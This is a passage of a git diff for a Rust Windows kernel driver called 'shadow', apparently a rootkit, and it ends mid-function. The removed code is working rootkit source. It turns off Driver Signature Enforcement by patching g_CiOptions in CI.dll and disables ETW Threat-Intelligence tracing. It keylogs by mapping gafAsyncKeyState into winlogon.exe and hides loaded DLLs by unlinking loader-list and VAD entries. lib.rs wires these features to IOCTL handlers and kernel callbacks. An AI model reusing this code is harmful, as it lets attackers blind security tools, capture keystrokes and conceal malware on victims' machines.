u64 -} - diff --git a/driver/src/internals/vad.rs b/driver/src/internals/vad.rs deleted file mode 100644 index 55a8659..0000000 --- a/driver/src/internals/vad.rs +++ /dev/null @@ -1,88 +0,0 @@ -use { - bitfield::bitfield, - wdk_sys::LIST_ENTRY, - super::structs::MMVAD_SHORT, - core::{ffi::c_void, mem::ManuallyDrop}, -}; - -#[repr(C)] -pub struct MMVAD { - core: MMVAD_SHORT, - u2: U2Union, - pub subsection: *mut SUBSECTION -} - -#[repr(C)] -pub union U2Union { - long_flags2: u32, - vad_flags2: ManuallyDrop -} - -bitfield! { - #[repr(C)] - pub struct MMVAD_FLAGS2(u32); - impl Debug; - u32; - pub file_offset, set_file_offset: 0, 23; // 24 bits - pub large, set_large: 24; // 1 bit - pub trim_behind, set_trim_behind: 25; // 1 bit - pub inherit, set_inherit: 26; // 1 bit - pub no_validation_needed, set_no_validation_needed: 27; // 1 bit - pub private_demand_zero, set_private_demand_zero: 28; // 1 bit - pub spare, set_spare: 29, 31; // 3 bits -} - -#[repr(C)] -pub struct SUBSECTION { - pub control_area: *mut CONTROL_AREA, -} - -#[repr(C)] -pub union LIST_OR_AWE_CONTEXT { - list_head: LIST_ENTRY, - awe_context: *mut c_void, -} - -#[repr(C)] -pub union UUnion { - long_flags: u32, - flags: u32, -} - -#[repr(C)] -pub union U1Union { - long_flags: u32, - flags: u32, -} - -#[repr(C)] -pub struct CONTROL_AREA { - segment: *mut *mut c_void, - list_or_awe_context: LIST_OR_AWE_CONTEXT, - number_of_section_references: u64, - number_of_pfn_references: u64, - number_of_mapped_views: u64, - number_of_user_references: u64, - u: UUnion, - u1: U1Union, - pub file_pointer: EX_FAST_REF -} - -#[repr(C)] -pub union EX_FAST_REF_INNER { - pub object: *mut c_void, - pub value: u64, -} - -bitfield! { - #[repr(C)] - pub struct ExFastRef(u64); - impl Debug; - - pub ref_cnt, set_ref_cnt: 0, 3; -} - -#[repr(C)] -pub struct EX_FAST_REF { - pub inner: EX_FAST_REF_INNER, -} \ No newline at end of file diff --git a/driver/src/lib.rs b/driver/src/lib.rs index 77edd83..6de8d18 100644 --- a/driver/src/lib.rs +++ b/driver/src/lib.rs @@ -1,44 +1,36 @@ #![no_std] #![allow(unused_must_use)] -#![allow(unreachable_code)] #![allow(unused_variables)] +#![allow(static_mut_refs)] extern crate alloc; use { - utils::uni, - port::Port, - kernel_log::KernelLogger, - wdk_sys::{ntddk::*, _MODE::KernelMode, *}, - core::{ptr::null_mut, sync::atomic::Ordering}, - crate::{ - port::HOOK_INSTALLED, - utils::{ - offsets::BUILD_NUMBER, - ioctls::IOCTL_MAP, get_windows_build_number, - } - }, + utils::uni, + log::{error, info}, + kernel_log::KernelLogger, + shadowx::error::ShadowError, + crate::utils::ioctls::IoctlManager, + wdk_sys::{*, ntddk::*, _MODE::KernelMode}, + core::{ptr::null_mut, sync::atomic::Ordering}, }; #[cfg(not(feature = "mapper"))] -use { - process::{on_pre_open_process, CALLBACK_REGISTRATION_HANDLE_PROCESS}, - thread::{on_pre_open_thread, CALLBACK_REGISTRATION_HANDLE_THREAD}, - registry::{registry_callback, CALLBACK_REGISTRY}, +use shadowx::{ + ThreadCallback, CALLBACK_REGISTRATION_HANDLE_THREAD, + ProcessCallback, CALLBACK_REGISTRATION_HANDLE_PROCESS, + registry::callback::{CALLBACK_REGISTRY, registry_callback} }; -#[cfg(not(feature = "mapper"))] -pub mod registry; -pub mod callback; -pub mod misc; -pub mod driver; -pub mod internals; -pub mod process; -pub mod thread; -pub mod module; -pub mod injection; -pub mod port; -pub mod utils; +#[cfg(not(test))] +extern crate wdk_panic; + +#[cfg(not(test))] +#[global_allocator] +static GLOBAL_ALLOCATOR: wdk_alloc::WDKAllocator = wdk_alloc::WDKAllocator; + +mod modules; +mod utils; /// The name of the device in the device namespace. const DEVICE_NAME: &str = "\\Device\\shadow"; @@ -52,12 +44,12 @@ const DOS_DEVICE_NAME: &str = "\\??\\shadow"; /// /// # Arguments /// -/// - `driver_object`: Pointer to the driver object. -/// - `registry_path`: Pointer to the Unicode string that specifies the driver's registry path. +/// * `driver_object` - Pointer to the driver object. +/// * `registry_path` - Pointer to the Unicode string that specifies the driver's registry path. /// /// # Returns /// -/// - `NTSTATUS`: Status code indicating the success or failure of the operation. +/// * Status code indicating the success or failure of the operation. /// /// Reference: WDF expects a symbol with the name DriverEntry #[export_name = "DriverEntry"] @@ -68,13 +60,13 @@ pub unsafe extern "system" fn driver_entry( KernelLogger::init(log::LevelFilter::Info).expect("Failed to initialize logger"); #[cfg(feature = "mapper")] { - use internals::IoCreateDriver; + use shadowx::data::IoCreateDriver; const DRIVER_NAME: &str = "\\Driver\\shadow"; let mut driver_name = uni::str_to_unicode(DRIVER_NAME).to_unicode(); let status = IoCreateDriver(&mut driver_name, Some(shadow_entry)); if !NT_SUCCESS(status) { - log::error!("IoCreateDriver Failed With Status: {status}"); + error!("IoCreateDriver Failed With Status: {status}"); } return status; } @@ -89,18 +81,17 @@ pub unsafe extern "system" fn driver_entry( /// /// # Arguments /// -/// - `driver_object`: Pointer to the driver object. -/// - `_registry_path`: Pointer to the Unicode string that specifies the driver's registry path. +/// * `driver_object` - Pointer to the driver object. +/// * `_registry_path` - Pointer to the Unicode string that specifies the driver's registry path. /// /// # Returns /// -/// - `NTSTATUS`: Status code indicating the success or failure of the operation. -/// +/// * Status code indicating the success or failure of the operation. pub unsafe extern "system" fn shadow_entry( driver: &mut DRIVER_OBJECT, _registry_path: PCUNICODE_STRING, ) -> NTSTATUS { - log::info!("Shadow Loaded"); + info!("Shadow Loaded"); let device_name = uni::str_to_unicode(DEVICE_NAME); let dos_device_name = uni::str_to_unicode(DOS_DEVICE_NAME); @@ -116,7 +107,7 @@ pub unsafe extern "system" fn shadow_entry( ); if !NT_SUCCESS(status) { - log::error!("IoCreateDevice Failed With Status: {status}"); + error!("IoCreateDevice Failed With Status: {status}"); return status; } @@ -129,13 +120,7 @@ pub unsafe extern "system" fn shadow_entry( if !NT_SUCCESS(status) { IoDeleteDevice(device_object); - log::error!("IoCreateSymbolicLink Failed With Status: {status}"); - return status; - } - - if !NT_SUCCESS(status) { - IoDeleteDevice(device_object); - log::error!("PsCreateSystemThread Failed With Status: {status}"); + error!("IoCreateSymbolicLink Failed With Status: {status}"); return status; } @@ -147,37 +132,50 @@ pub unsafe extern "system" fn shadow_entry( #[cfg(not(feature = "mapper"))] { status = register_callbacks(driver); if !NT_SUCCESS(status) { - log::error!("register_callbacks Failed With Status: {status}"); + error!("register_callbacks Failed With Status: {status}"); return status; } } - BUILD_NUMBER = get_windows_build_number(); - STATUS_SUCCESS } +lazy_static::lazy_static! { + pub static ref MANAGER: IoctlManager = { + let mut manager = IoctlManager::default(); + manager.load_default_handlers(); + manager + }; +} + /// Handles device control commands (IOCTL). /// /// This function is responsible for processing IOCTL commands received by the driver and executing the corresponding actions. /// /// # Arguments /// -/// - `_device`: Pointer to the device object (not used in this function). -/// - `irp`: Pointer to the I/O request packet (IRP) that contains the information about the device control request. +/// * `_device` - Pointer to the device object (not used in this function). +/// * `irp` - Pointer to the I/O request packet (IRP) that contains the information about the device control request. /// /// # Returns /// -/// - `NTSTATUS`: Status code indicating the success or failure of the operation. -/// +/// * Status code indicating the success or failure of the operation. pub unsafe extern "C" fn device_control(_device: *mut DEVICE_OBJECT, irp: *mut IRP) -> NTSTATUS { let stack = (*irp).Tail.Overlay.__bindgen_anon_2.__bindgen_anon_1.CurrentStackLocation; let control_code = (*stack).Parameters.DeviceIoControl.IoControlCode; - let status = if let Some(handler) = IOCTL_MAP.get(&control_code) { + let status = if let Some(handler) = MANAGER.get_handler(control_code) { handler(irp, stack) } else { - STATUS_INVALID_DEVICE_REQUEST + Err(ShadowError::InvalidDeviceRequest) + }; + + let status = match status { + Ok(ntstatus) => ntstatus, + Err(err) => { + error!("Error: {err}"); + STATUS_INVALID_DEVICE_REQUEST + }, }; (*irp).IoStatus.__bindgen_anon_1.Status = status; @@ -193,17 +191,17 @@ pub unsafe extern "C" fn device_control(_device: *mut DEVICE_OBJECT, irp: *mut I /// /// # Arguments /// -/// - `_device_object`: Pointer to the associated device object (not used in this function). -/// - `irp`: Pointer to the I/O request packet (IRP) containing the information about the close request. +/// * `_device_object` - Pointer to the associated device object (not used in this function). +/// * `irp` - Pointer to the I/O request packet (IRP) containing the information about the close request. /// /// # Returns /// -/// - `NTSTATUS`: Status code indicating the success of the operation (always returns `STATUS_SUCCESS`). -/// +/// * Status code indicating the success of the operation (always returns `STATUS_SUCCESS`). pub unsafe extern "C" fn driver_close(_device_object: *mut DEVICE_OBJECT, irp: *mut IRP) -> NTSTATUS { (*irp).IoStatus.__bindgen_anon_1.Status = STATUS_SUCCESS; (*irp).IoStatus.Information = 0; IofCompleteRequest(irp, IO_NO_INCREMENT as i8); + STATUS_SUCCESS } @@ -214,13 +212,12 @@ pub unsafe extern "C" fn driver_close(_device_object: *mut DEVICE_OBJECT, irp: * /// /// # Arguments /// -/// - `driver_object`: Pointer to the driver object being unloaded. -/// +/// * `driver_object` - Pointer to the driver object being unloaded. pub unsafe extern "C" fn driver_unload(driver_object: *mut DRIVER_OBJECT) { - log::info!("Unloading driver"); + info!("Unloading driver"); - if HOOK_INSTALLED.load(Ordering::Relaxed) { - let hook_status = Port::uninstall_hook(); + if shadowx::port::HOOK_INSTALLED.load(Ordering::Relaxed) { + let hook_status = shadowx::Port::uninstall_hook(); let mut interval = LARGE_INTEGER { QuadPart: -50 * 1000_i64 * 1000_i64, }; @@ -233,36 +230,33 @@ pub unsafe extern "C" fn driver_unload(driver_object: *mut DRIVER_OBJECT) { IoDeleteDevice((*driver_object).DeviceObject); #[cfg(not(feature = "mapper"))] { - ObUnRegisterCallbacks(process::CALLBACK_REGISTRATION_HANDLE_PROCESS); + ObUnRegisterCallbacks(CALLBACK_REGISTRATION_HANDLE_PROCESS); ObUnRegisterCallbacks(CALLBACK_REGISTRATION_HANDLE_THREAD); CmUnRegisterCallback(CALLBACK_REGISTRY); } - log::info!("Shadow Unload"); + info!("Shadow Unload"); } /// Register Callbacks. /// /// # Arguments /// -/// - `driver_object`: Pointer to the driver object being unloaded. +/// * `driver_object` - Pointer to the driver object being unloaded. /// /// # Returns /// -/// - `NTSTATUS`: Status code indicating the success of the operation (always returns `STATUS_SUCCESS`). -/// +/// * Status code indicating the success of the operation (always returns `STATUS_SUCCESS`). #[cfg(not(feature = "mapper"))] pub unsafe fn register_callbacks(driver_object: &mut DRIVER_OBJECT) -> NTSTATUS { - let mut status; - // Creating callbacks related to Process operations + let altitude = uni::str_to_unicode("31243.5222"); let mut op_reg = OB_OPERATION_REGISTRATION { ObjectType: PsProcessType, Operations: OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE, - PreOperation: Some(on_pre_open_process), + PreOperation: Some(ProcessCallback::on_pre_open_process), PostOperation: None, }; - let altitude = uni::str_to_unicode("31243.5222"); let mut cb_reg = OB_CALLBACK_REGISTRATION { Version: OB_FLT_REGISTRATION_VERSION as u16, OperationRegistrationCount: 1, @@ -271,20 +265,20 @@ pub unsafe fn register_callbacks(driver_object: &mut DRIVER_OBJECT) -> NTSTATUS OperationRegistration: &mut op_reg, }; - status = ObRegisterCallbacks(&mut cb_reg,core::ptr::addr_of_mut!(CALLBACK_REGISTRATION_HANDLE_PROCESS)); + let mut status = ObRegisterCallbacks(&mut cb_reg,core::ptr::addr_of_mut!(CALLBACK_REGISTRATION_HANDLE_PROCESS)); if !NT_SUCCESS(status) { - log::error!("ObRegisterCallbacks (Process) Failed With Status: {status}"); + error!("ObRegisterCallbacks (Process) Failed With Status: {status}"); return status; } // Creating callbacks related to thread operations + let altitude = uni::str_to_unicode("31243.5223"); let mut op_reg = OB_OPERATION_REGISTRATION { ObjectType: PsThreadType, Operations: OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE, - PreOperation: Some(on_pre_open_thread), + PreOperation: Some(ThreadCallback::on_pre_open_thread), PostOperation: None, }; - let altitude = uni::str_to_unicode("31243.5223"); let mut cb_reg = OB_CALLBACK_REGISTRATION { Version: OB_FLT_REGISTRATION_VERSION as u16, OperationRegistrationCount: 1, @@ -295,7 +289,7 @@ pub unsafe fn register_callbacks(driver_object: &mut DRIVER_OBJECT) -> NTSTATUS status = ObRegisterCallbacks(&mut cb_reg,core::ptr::addr_of_mut!(CALLBACK_REGISTRATION_HANDLE_THREAD)); if !NT_SUCCESS(status) { - log::error!("ObRegisterCallbacks (Thread) Failed With Status: {status}"); + error!("ObRegisterCallbacks (Thread) Failed With Status: {status}"); return status; } @@ -311,7 +305,7 @@ pub unsafe fn register_callbacks(driver_object: &mut DRIVER_OBJECT) -> NTSTATUS ); if !NT_SUCCESS(status) { - log::error!("CmRegisterCallbackEx Failed With Status: {status}"); + error!("CmRegisterCallbackEx Failed With Status: {status}"); return status; } diff --git a/driver/src/misc/dse.rs b/driver/src/misc/dse.rs deleted file mode 100644 index 6c6ab1b..0000000 --- a/driver/src/misc/dse.rs +++ /dev/null @@ -1,44 +0,0 @@ -use { - obfstr::obfstr, - shared::structs::DSE, - wdk_sys::{NTSTATUS, STATUS_UNSUCCESSFUL}, - crate::utils::{ - address::{get_function_address, get_module_base_address}, - patterns::scan_for_pattern - }, -}; - -pub struct Dse; - -impl Dse { - /// Sets the DSE (Driver Signature Enforcement) status based on the information provided. - /// - /// # Arguments - /// - /// - `info_dse`: A pointer to the `DSE` structure containing information about the state of the DSE. - /// - /// # Returns - /// - /// - `NTSTATUS`: A status code indicating success (`STATUS_SUCCESS`) or failure of the operation. - /// - pub unsafe fn set_dse_state(info_dse: *mut DSE) -> Result<(), NTSTATUS> { - let module_address = get_module_base_address(obfstr!("CI.dll")).ok_or(STATUS_UNSUCCESSFUL)?; - let function_address = get_function_address(obfstr!("CiInitialize"), module_address).ok_or(STATUS_UNSUCCESSFUL)?; - - // mov ecx,ebp - let instructions = [0x8B, 0xCD]; - let c_ip_initialize = scan_for_pattern(function_address, &instructions, 3, 7, 0x89, i32::from_le_bytes).ok_or(STATUS_UNSUCCESSFUL)?; - - // mov rbp,r9 - let instructions = [0x49, 0x8b, 0xE9]; - let g_ci_options = scan_for_pattern(c_ip_initialize as _, &instructions, 5, 9, 0x21, i32::from_le_bytes).ok_or(STATUS_UNSUCCESSFUL)?; - - if (*info_dse).enable { - *(g_ci_options as *mut u64) = 0x0006_u64; - } else { - *(g_ci_options as *mut u64) = 0x000E_u64; - } - - Ok(()) - } -} \ No newline at end of file diff --git a/driver/src/misc/etwti.rs b/driver/src/misc/etwti.rs deleted file mode 100644 index 8aeb97b..0000000 --- a/driver/src/misc/etwti.rs +++ /dev/null @@ -1,47 +0,0 @@ -use { - crate::{ - internals::structs::TRACE_ENABLE_INFO, - utils::{ - uni, - patterns::{ - scan_for_pattern, ETWTI_PATTERN - }, - } - }, - obfstr::obfstr, - shared::structs::ETWTI, - wdk_sys::{ - ntddk::MmGetSystemRoutineAddress, - NTSTATUS, STATUS_UNSUCCESSFUL - } -}; - -/// Represents ETW in the operating system. -pub struct Etw; - -impl Etw { - /// Enables or disables ETW tracing by manipulating the `ETWTI` structure. - /// - /// # Arguments - /// - /// - `info`: A pointer to an `ETWTI` structure, which contains information on whether to enable or disable ETW tracing. - /// - /// # Returns - /// - /// - `NTSTATUS`: A status code indicating success or failure of the operation. - /// - pub unsafe fn etwti_enable_disable(info: *mut ETWTI) -> Result<(), NTSTATUS> { - let mut function_name = uni::str_to_unicode(obfstr!("KeInsertQueueApc")).to_unicode(); - let function_address = MmGetSystemRoutineAddress(&mut function_name); - let etwi_handle = scan_for_pattern(function_address, &ETWTI_PATTERN, 5, 9, 0x1000, u32::from_le_bytes).ok_or(STATUS_UNSUCCESSFUL)?; - let trace_info = etwi_handle.offset(0x20).offset(0x60) as *mut TRACE_ENABLE_INFO; - (*trace_info).is_enabled = if (*info).enable { - 0x01 - } else { - 0x00 - }; - - Ok(()) - } -} - diff --git a/driver/src/misc/ioctls.rs b/driver/src/misc/ioctls.rs deleted file mode 100644 index c1d91d1..0000000 --- a/driver/src/misc/ioctls.rs +++ /dev/null @@ -1,66 +0,0 @@ -use { - alloc::boxed::Box, - hashbrown::HashMap, - super::keylogger::{get_user_address_keylogger, USER_ADDRESS}, - wdk_sys::{IO_STACK_LOCATION, IRP, STATUS_SUCCESS, STATUS_UNSUCCESSFUL}, - crate::{handle, misc::{dse::Dse, etwti::Etw}, utils::ioctls::IoctlHandler}, - shared::{ - ioctls::{IOCTL_ENABLE_DSE, IOCTL_ETWTI, IOCTL_KEYLOGGER}, - structs::{DSE, ETWTI} - }, -}; - -/// Registers the IOCTL handlers for misc-related operations. -/// -/// This function inserts two IOCTL handlers into the provided `HashMap`, associating them with -/// their respective IOCTL codes. The two operations supported are: -/// -/// # Arguments -/// -/// - `ioctls`: A mutable reference to a `HashMap` where the misc-related -/// IOCTL handlers will be inserted. -/// -pub fn get_misc_ioctls(ioctls: &mut HashMap) { - // Responsible for enabling/disabling DSE. - ioctls.insert(IOCTL_ENABLE_DSE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { - let status = unsafe { handle!(stack, Dse::set_dse_state, DSE) }; - unsafe { (*irp).IoStatus.Information = 0 }; - - match status { - Ok(_) => STATUS_SUCCESS, - Err(err_code) => err_code - } - }) as IoctlHandler); - - // Start Keylogger - ioctls.insert(IOCTL_KEYLOGGER, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { - unsafe { - if USER_ADDRESS == 0 { - USER_ADDRESS = match get_user_address_keylogger() { - Some(addr) => addr as usize, - None => return STATUS_UNSUCCESSFUL, - }; - } - - let output_buffer = (*irp).AssociatedIrp.SystemBuffer; - if !output_buffer.is_null() { - *(output_buffer as *mut usize) = USER_ADDRESS; - } - - (*irp).IoStatus.Information = core::mem::size_of::() as u64; - } - - STATUS_SUCCESS - }) as IoctlHandler); - - // Responsible for enabling/disabling ETWTI. - ioctls.insert(IOCTL_ETWTI, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { - let status = unsafe { handle!(stack, Etw::etwti_enable_disable, ETWTI) }; - unsafe { (*irp).IoStatus.Information = 0 }; - - match status { - Ok(_) => STATUS_SUCCESS, - Err(err_code) => err_code - } - }) as IoctlHandler); -} \ No newline at end of file diff --git a/driver/src/misc/keylogger.rs b/driver/src/misc/keylogger.rs deleted file mode 100644 index d16c3ef..0000000 --- a/driver/src/misc/keylogger.rs +++ /dev/null @@ -1,80 +0,0 @@ -use { - obfstr::obfstr, - core::{mem::size_of, ptr::null_mut, ffi::c_void}, - crate::{ - process::Process, - utils::{ - process_attach::ProcessAttach, - get_process_by_name, patterns::scan_for_pattern, - address::{get_function_address, get_module_base_address}, - } - }, - wdk_sys::{ - ntddk::{ - IoAllocateMdl, IoFreeMdl, MmBuildMdlForNonPagedPool, - MmMapLockedPagesSpecifyCache, MmIsAddressValid - }, - _MEMORY_CACHING_TYPE::MmCached, - _MM_PAGE_PRIORITY::NormalPagePriority, - _MODE::UserMode, - } -}; - -/// Variable holding a user space address for keylogger functionality. -pub static mut USER_ADDRESS: usize = 0; - -/// Retrieves the address of gafAsyncKeyState and maps it to the user mode of winlogon.exe. -/// -/// # Returns -/// -/// - `Option<*mut c_void>`: If successful, the address will be returned as Some, if not found, it will be returned as None. -/// -pub unsafe fn get_user_address_keylogger() -> Option<*mut c_void> { - let pid = get_process_by_name(obfstr!("winlogon.exe"))?; - let winlogon_process = Process::new(pid)?; - let attach_process = ProcessAttach::new(winlogon_process.e_process); - let gaf_async_key_state_address = get_gafasynckeystate_address()?; - - // Check that the address is valid - if MmIsAddressValid(gaf_async_key_state_address as *mut c_void) == 0 { - log::info!("Invalid or pagable gafAsyncKeyState address"); - return None; - } - - // Allocates the MDL to memory - let mdl = IoAllocateMdl(gaf_async_key_state_address as _, size_of::<[u8; 64]>() as u32, 0, 0, null_mut()); - if mdl.is_null() { - log::info!("IoAllocateMdl Failed"); - return None; - } - - MmBuildMdlForNonPagedPool(mdl); - - // Maps memory to user space - let address = MmMapLockedPagesSpecifyCache(mdl, UserMode as i8, MmCached, null_mut(), 0, NormalPagePriority as u32); - if address.is_null() { - log::info!("MmMapLockedPagesSpecifyCache Failed"); - IoFreeMdl(mdl); - return None; - } - - Some(address) -} - -/// Get the address of the `gafAsyncKeyState` array. -/// -/// This function is only compatible with Windows 10. -/// -/// # Returns -/// -/// `Option`: The address of the `gafAsyncKeyState` array if found, otherwise `None`. -/// -unsafe fn get_gafasynckeystate_address() -> Option<*mut u8> { - let module_address = get_module_base_address(obfstr!("win32kbase.sys"))?; - let function_address = get_function_address(obfstr!("NtUserGetAsyncKeyState"), module_address)?; - - // fffff4e1`18e41bae 48 8b 05 0b 4d 20 00 mov rax,qword ptr [win32kbase!gafAsyncKeyState (fffff4e1`190468c0)] - // fffff4e1`18e41bb5 48 89 81 80 00 00 00 mov qword ptr [rcx+80h],rax - let pattern = [0x48, 0x8B, 0x05]; - scan_for_pattern(function_address, &pattern, 3, 7, 0x200, i32::from_le_bytes) -} diff --git a/driver/src/misc/mod.rs b/driver/src/misc/mod.rs deleted file mode 100644 index 4b7e579..0000000 --- a/driver/src/misc/mod.rs +++ /dev/null @@ -1,4 +0,0 @@ -pub mod etwti; -pub mod keylogger; -pub mod ioctls; -pub mod dse; \ No newline at end of file diff --git a/driver/src/module/ioctls.rs b/driver/src/module/ioctls.rs deleted file mode 100644 index b5bde42..0000000 --- a/driver/src/module/ioctls.rs +++ /dev/null @@ -1,42 +0,0 @@ -use { - alloc::boxed::Box, - hashbrown::HashMap, - shared::{ioctls::{IOCTL_ENUMERATE_MODULE, IOCTL_HIDE_MODULE}, structs::{ModuleInfo, TargetProcess, TargetModule}}, - wdk_sys::{IO_STACK_LOCATION, IRP, STATUS_SUCCESS}, - crate::{handle, module::Module, utils::ioctls::IoctlHandler}, -}; - -/// Registers the IOCTL handlers for module-related operations. -/// -/// This function inserts two IOCTL handlers into the provided `HashMap`, associating them with -/// their respective IOCTL codes. The two operations supported are: -/// -/// # Arguments -/// -/// - `ioctls`: A mutable reference to a `HashMap` where the module-related -/// IOCTL handlers will be inserted. -/// -pub fn get_module_ioctls(ioctls: &mut HashMap) { - // Enumerate Modules - ioctls.insert(IOCTL_ENUMERATE_MODULE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { - let mut information = 0; - let status = unsafe { handle!(irp, stack, Module::enumerate_module, TargetProcess, ModuleInfo, &mut information) }; - unsafe { (*irp).IoStatus.Information = information as u64 }; - - match status { - Ok(_) => STATUS_SUCCESS, - Err(err_code) => err_code - } - }) as IoctlHandler); - - // Hide Modules - ioctls.insert(IOCTL_HIDE_MODULE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { - let status = unsafe { handle!(stack, Module::hide_module, TargetModule) }; - unsafe { (*irp).IoStatus.Information = 0}; - - match status { - Ok(_) => STATUS_SUCCESS, - Err(err_code) => err_code - } - }) as IoctlHandler); -} \ No newline at end of file diff --git a/driver/src/module/mod.rs b/driver/src/module/mod.rs deleted file mode 100644 index 6cc4d89..0000000 --- a/driver/src/module/mod.rs +++ /dev/null @@ -1,274 +0,0 @@ -use { - winapi::shared::ntdef::LIST_ENTRY, - ntapi::{ntldr::LDR_DATA_TABLE_ENTRY, ntpebteb::PEB}, - shared::structs::{ModuleInfo, TargetModule, TargetProcess}, - wdk_sys::{ - ntddk::IoGetCurrentProcess, _MODE::KernelMode, - FILE_OBJECT, NTSTATUS, POOL_FLAG_NON_PAGED, RTL_BALANCED_NODE, - STATUS_INVALID_ADDRESS, STATUS_INVALID_PARAMETER, STATUS_UNSUCCESSFUL, - }, - crate::{ - internals::{ - structs::{MMVAD_SHORT, MMVAD}, - externs::{MmCopyVirtualMemory, PsGetProcessPeb} - }, - process::Process, - utils::{ - pool::PoolMemory, process_attach::ProcessAttach, - offsets::get_vad_root, - } - }, -}; - -pub mod ioctls; - -/// Represents a module in the operating system. -pub struct Module; - -impl Module { - - /// VAD Type for an image map. - const VAD_IMAGE_MAP: u32 = 2; - - /// Enumerates modules in a given target process. - /// - /// # Arguments - /// - /// - `process`: A pointer to the target process (`*mut TargetProcess`) from which the modules will be enumerated. - /// - `module_info`: A pointer to a `ModuleInfo` structure that will be populated with information about the enumerated modules. - /// - `information`: A mutable reference to a `usize` that will store additional information about the module enumeration. - /// - /// # Returns - /// - /// - `NTSTATUS`: Returns `STATUS_SUCCESS` if the module enumeration is successful, otherwise returns an appropriate error status. - /// - pub unsafe fn enumerate_module(process: *mut TargetProcess, module_info: *mut ModuleInfo, information: &mut usize) -> Result<(), NTSTATUS> { - log::info!("Starting module enumeration"); - - let pid = (*process).pid; - let temp_info_size = 256 * core::mem::size_of::(); - - // Allocates memory for temporarily storing module information - let temp_info = PoolMemory::new(POOL_FLAG_NON_PAGED, temp_info_size as u64, u32::from_be_bytes(*b"btrd")) - .map(|mem| mem.ptr as *mut ModuleInfo) - .ok_or_else(|| { - log::error!("PoolMemory (Module) Failed"); - STATUS_UNSUCCESSFUL - })?; - - // Attaches the target process to the current context - let target = Process::new(pid).ok_or(STATUS_UNSUCCESSFUL)?; - let mut attach_process = ProcessAttach::new(target.e_process); - - // Gets the PEB (Process Environment Block) of the target process - let target_peb = PsGetProcessPeb(target.e_process) as *mut PEB; - if target_peb.is_null() || (*target_peb).Ldr.is_null() { - return Err(STATUS_INVALID_PARAMETER); - } - - // Enumerates the loaded modules from the InLoadOrderModuleList - let current = &mut (*(*target_peb).Ldr).InLoadOrderModuleList as *mut LIST_ENTRY; - let mut next = (*(*target_peb).Ldr).InLoadOrderModuleList.Flink; - let mut count = 0; - - while next != current { - if next.is_null() { - log::error!("Next LIST_ENTRY is null"); - return Err(STATUS_UNSUCCESSFUL); - } - - let list_entry = next as *mut LDR_DATA_TABLE_ENTRY; - if list_entry.is_null() { - log::error!("LDR_DATA_TABLE_ENTRY is null"); - return Err(STATUS_UNSUCCESSFUL); - } - - // Retrieves the full module name - let buffer = core::slice::from_raw_parts((*list_entry).FullDllName.Buffer, ((*list_entry).FullDllName.Length / 2) as usize); - if buffer.is_empty() { - log::error!("Buffer for module name is empty"); - return Err(STATUS_UNSUCCESSFUL); - } - - // Populates the `ModuleInfo` structure with name, address, and index - let name = &mut (*temp_info.offset(count)).name.as_mut(); - core::ptr::copy_nonoverlapping(buffer.as_ptr(), name.as_mut_ptr(), buffer.len()); - (*temp_info.offset(count)).address = (*list_entry).DllBase as usize; - (*temp_info.offset(count)).index = count as u8; - - count += 1; - - next = (*next).Flink; - } - - // Detaches the target process - attach_process.detach(); - - // Copies module information to the caller's space - let size_to_copy = count as usize * core::mem::size_of::(); - let mut return_size = 0; - MmCopyVirtualMemory( - IoGetCurrentProcess(), - temp_info as *mut _, - IoGetCurrentProcess(), - module_info as *mut _, - size_to_copy as u64, - KernelMode as i8, - &mut return_size, - ); - - *information = count as usize * core::mem::size_of::(); - - Ok(()) - } - - /// Hides a module in a target process by removing its entries from the module list. - /// - /// # Arguments - /// - /// - `target`: A pointer to a `TargetModule` structure containing information about the module to be hidden. - /// - /// # Returns - /// - /// - `NTSTATUS`: Returns `STATUS_SUCCESS` if the module is successfully hidden, otherwise returns an appropriate error status. - /// - pub unsafe fn hide_module(target: *mut TargetModule) -> Result<(), NTSTATUS> { - let pid = (*target).pid; - let module_name = &(*target).module_name.to_lowercase(); - let target = Process::new(pid).ok_or(STATUS_UNSUCCESSFUL)?; - let mut attach_process = ProcessAttach::new(target.e_process); - - let target_peb = PsGetProcessPeb(target.e_process) as *mut PEB; - if target_peb.is_null() || (*target_peb).Ldr.is_null() { - return Err(STATUS_INVALID_PARAMETER); - } - - let current = &mut (*(*target_peb).Ldr).InLoadOrderModuleList as *mut LIST_ENTRY; - let mut next = (*(*target_peb).Ldr).InLoadOrderModuleList.Flink; - let mut address = core::ptr::null_mut(); - - while next != current { - if next.is_null() { - log::error!("Next LIST_ENTRY is null"); - return Err(STATUS_UNSUCCESSFUL); - } - - let list_entry = next as *mut LDR_DATA_TABLE_ENTRY; - if list_entry.is_null() { - log::error!("LDR_DATA_TABLE_ENTRY is null"); - return Err(STATUS_UNSUCCESSFUL); - } - - let buffer = core::slice::from_raw_parts((*list_entry).FullDllName.Buffer, ((*list_entry).FullDllName.Length / 2) as usize); - if buffer.is_empty() { - log::error!("Buffer for module name is empty"); - return Err(STATUS_UNSUCCESSFUL); - } - - let dll_name = alloc::string::String::from_utf16_lossy(buffer); - if dll_name.to_lowercase() == module_name.to_lowercase() { - // Removes the module from the load order list - Self::remove_link(&mut (*list_entry).InLoadOrderLinks); - Self::remove_link(&mut (*list_entry).InMemoryOrderLinks); - Self::remove_link(&mut (*list_entry).u1.InInitializationOrderLinks); - Self::remove_link(&mut (*list_entry).HashLinks); - address = (*list_entry).DllBase; - break; - } - - next = (*next).Flink; - } - - // Detaches the target process - attach_process.detach(); - - if !address.is_null() { - Self::hide_object(address as u64, target); - } - - Ok(()) - } - - /// Removing the module name in the FILE_OBJECT structure. - /// - /// # Arguments - /// - /// - `target_address`: The address of the module to hide. - /// - `target_eprocess`: The target process structure. - /// - /// # Returns - /// - /// - `NTSTATUS`: Returns `STATUS_SUCCESS` if the VAD is successfully hidden, otherwise returns an appropriate error status. - /// - pub unsafe fn hide_object(target_address: u64, target_eprocess: Process) -> Result<(), NTSTATUS> { - let vad_root = get_vad_root(); - let vad_table = target_eprocess.e_process.cast::().offset(vad_root as isize) as *mut RTL_BALANCED_NODE; - let current_node = vad_table; - - // Uses a stack to iteratively traverse the tree - let mut stack = alloc::vec![vad_table]; - while let Some(current_node) = stack.pop() { - if current_node.is_null() { 